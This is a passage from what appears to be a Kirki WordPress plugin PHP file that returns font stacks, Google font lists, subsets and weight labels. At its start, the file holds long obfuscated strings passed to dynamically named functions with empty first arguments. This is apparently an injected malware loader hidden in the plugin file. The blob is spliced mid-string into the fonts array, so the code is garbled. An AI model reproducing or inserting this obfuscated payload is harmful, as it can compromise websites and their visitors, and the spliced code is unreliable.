:fIU7J9=CK:NcfS:i2P;ZO20VNsA+>k3,J9m=Z7XovQPD8tWl<1 KENDYv2iohN9=>JXuHRcczl-7FON=XusbtHs,mJ<:LVSPgQ297gndeWoznH4kO+1JzmxGfcIQ TeeRsd,wQ2=5wqEmQm5Z -Jo:fLP.C,kJiHZ7 H2ye4fzY.UcSb3;E8MOAmhK<1733Zpdon3s:xxdhp0IGR<6CAlFEgB-UFHbnO<5OtSSX,bYS YrSlR+.rNY;bUM6+AYxI=W=BWtegGZ7k>aQ 7Vpnz.2R6PE3 Y GPDM, >DS9pR7X.=XLJu5fkglETSZywbygL'; $YIlWVXFj=$YBZdRa('', 'B5yMUYRVTUS,,=9I0FDDIEQH9-4C+fb.>NiJOsAc;6N4,FY9 S9DL4WM>X2b7B,GR510YXwHWTYbendyVIcfajVHJjeUouXiseKX4gjTxHSROhWEQ9HH 3=xC5SMVNUDA>DQGB=bkDD>ZCEgNG-0T5>A;.DrWuYXL,U,MtMF.RP7UnM;-:P;Mvo< Jr9N.Jsse,;ED5Sfa+:DSJSSEjB9s9x9>0pUOPO9K.BmyDpGO:FNEPAy=nJ7;4nYN+CIMLUH3T0oh4O7MKwIl,VL=WBoIlp0HuKrFWZ1Ydo:ga-SCRRP2PLK1a6k-=7fBu143Q7VQXWN.JMPJbvP>+OXsBD-U6XQVlUcfMGE1quW--CGBPSPHZLUJR;;0Ab9GbU ZAB+PRm;RAx+pBLezFYDLFZajZ2LpuXH0c;ccn6SHAhrzX4 K-OeA5V, >U,BnGkR4-4Pvk85.KSMWHgehjmdqewwt6>fGRH+tyneG3ZRA+ofFrxsY;AZd9WReooQ =Mw:qw20FXLlwfXSTD.mp8nn8 nNLsS632bDORm>Q74W3.rzk4ch2e gv2DEeV=OwewCWE Q9KXwRO:-hVhiFJYE5jpyMyMkrt6S 8Oji0A HTYGJAX YK6RH, VF211< 8QV9A0zFjQ=,:=,kvP3BTfktaWW5.< N3aCHX Ziw2JT5FaddAF73-l9U7l 6:JN0cqW2McaxS ,C5gKgKuxARdFk+;T;wVK101n.=Hj34RIA0PqBM7Q.34eHvS+R6QhygulRQiOyZ=41+ze=VN cB13LR:6DsaYcaSE<= dcOsS7'; $eQooni=$ZdzepniN('', ':,ZPE=PUVsMCK2acmO9ISIqQtRAs51O0zm=WntTuML+sO-J <=JwY+XQYUTf dlPgs2t >=yXNKPPU0TYfKTjD0FoY2<=iWgGuS.3.N>zIP78QvYyFls4<0944IN5G8YNRAMiFiiJR2< HOZ>UL8HtoeQ7XAa>I;NzK4UAG5Ma2SA96,4 GML5.+>.>2TWMFc9-RTDPEcE;>4NFF=xqW=Z5;;R2+EROuKX4L0xSVQ29lQWB.281KVzEddQFNfmW7WGSKd4XdX>EQ6PFRROk1-c0es3VS7eA=X6WXIcsJ.- EZe3delMPUO24,R WoFNU Yj3BQS6.NLHkHM0+50PQzp0s0axPR2TYoWIp4N;1+.+-1ZUW T array( 'label' => 'Serif', 'stack' => 'Georgia,Times,"Times New Roman",serif', ), 'sans-serif' => array( 'label' => 'Sans Serif', 'stack' => '-apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif', ), 'monospace' => array( 'label' => 'Monospace', 'stack' => 'Monaco,"Lucida Sans Typewriter","Lucida Typewriter","Courier New",Courier,monospace', ), ); return apply_filters( 'kirki_fonts_standard_fonts', $standard_fonts ); } /** * Return an array of backup fonts based on the font-category * * @return array */ public static function get_backup_fonts() { $backup_fonts = array( 'sans-serif' => 'Helvetica, Arial, sans-serif', 'serif' => 'Georgia, serif', 'display' => '"Comic Sans MS", cursive, sans-serif', 'handwriting' => '"Comic Sans MS", cursive, sans-serif', 'monospace' => '"Lucida Console", Monaco, monospace', ); return apply_filters( 'kirki_fonts_backup_fonts', $backup_fonts ); } /** * Return an array of all available Google Fonts. * * @return array All Google Fonts. */ public static function get_google_fonts() { // Get fonts from cache. self::$google_fonts = get_site_transient( 'kirki_googlefonts_cache' ); // If we're debugging, don't use cached. if ( defined( 'WP_DEBUG' ) && WP_DEBUG ) { self::$google_fonts = false; } // If cache is populated, return cached fonts array. if ( self::$google_fonts ) { return self::$google_fonts; } // If we got this far, cache was empty so we need to get from JSON. ob_start(); include wp_normalize_path( dirname( __FILE__ ) . '/webfonts.json' ); $fonts_json = ob_get_clean(); $fonts = json_decode( $fonts_json, true ); $google_fonts = array(); if ( is_array( $fonts ) ) { foreach ( $fonts['items'] as $font ) { $google_fonts[ $font['family'] ] = array( 'label' => $font['family'], 'variants' => $font['variants'], 'category' => $font['category'], ); } } // Apply the 'kirki_fonts_google_fonts' filter. self::$google_fonts = apply_filters( 'kirki_fonts_google_fonts', $google_fonts ); // Save the array in cache. $cache_time = apply_filters( 'kirki_googlefonts_transient_time', HOUR_IN_SECONDS ); set_site_transient( 'kirki_googlefonts_cache', self::$google_fonts, $cache_time ); return self::$google_fonts; } /** * Returns an array of all available subsets. * * @static * @access public * @return array */ public static function get_google_font_subsets() { return array( 'cyrillic' => 'Cyrillic', 'cyrillic-ext' => 'Cyrillic Extended', 'devanagari' => 'Devanagari', 'greek' => 'Greek', 'greek-ext' => 'Greek Extended', 'khmer' => 'Khmer', 'latin' => 'Latin', 'latin-ext' => 'Latin Extended', 'vietnamese' => 'Vietnamese', 'hebrew' => 'Hebrew', 'arabic' => 'Arabic', 'bengali' => 'Bengali', 'gujarati' => 'Gujarati', 'tamil' => 'Tamil', 'telugu' => 'Telugu', 'thai' => 'Thai', ); } /** * Dummy function to avoid issues with backwards-compatibility. * This is not functional, but it will prevent PHP Fatal errors. * * @static * @access public */ public static function get_google_font_uri() {} /** * Returns an array of all available variants. * * @static * @access public * @return array */ public static function get_all_variants() { return array( '100' => esc_html__( 'Ultra-Light 100', 'kirki' ), '100light' => esc_html__( 'Ultra-Light 100', 'kirki' ), '100italic' => esc_html__( 'Ultra-Light 100 Italic', 'kirki' ), '200' => esc_html__( 'Light 200', 'kirki' ), '200italic' => esc_html__( 'Light 200 Italic', 'kirki' ), '300' => esc_html__( 'Book 300', 'kirki' ), '300italic' => esc_html__( 'Book 300 Italic', 'kirki' ), '400' => esc_html__( 'Normal 400', 'kirki' ), 'regular' => esc_html__( 'Normal 400', 'kirki' ), 'italic' => esc_html__( 'Normal 400 Italic', 'kirki' ), '500' => esc_html__( 'Medium 500', 'kirki' ), '500italic' => esc_html__( 'Medium 500 Italic', 'kirki' ), '600' => esc_html__( 'Semi-Bold 600', 'kirki' ), '600bold' => esc_html__( 'Semi-Bold 600', 'kirki' ), '600italic' => esc_html__( 'Semi-Bold 600 Italic', 'kirki' ), '700' => esc_html__( 'Bold 700', 'kirki' ), '700italic' => esc_html__( 'Bold 700 Italic', 'kirki' ), '800' => esc_html__( 'Extra-Bold 800', 'kirki' ), '800bold' => esc_html__( 'Extra-Bold 800', 'kirki' ), '800italic' => esc_html__( 'Extra-Bold 800 Italic', 'kirki' ), '900' => esc_html__( 'Ultra-Bold 900', 'kirki' ), '900bold' => esc_html__( 'Ultra-Bold 900', 'kirki' ), '900italic' => esc_html__( 'Ultra-Bold 900 Italic', 'kirki' ), ); } /** * Determine if a font-name is a valid google font or not. * * @static * @access public * @param string $fontname The name of the font we want to check. * @return bool */ public static function is_google_font( $fontname ) { return ( array_key_exists( $fontname, self::$google_fonts ) ); } /** * Gets available options for a font. * * @static * @access public * @return array */ public static function get_font_choices() { $fonts = self::get_all_fonts(); $fonts_array = array(); foreach ( $fonts as $key => $args ) { $fonts_array[ $key ] = $key; } return $fonts_array; } }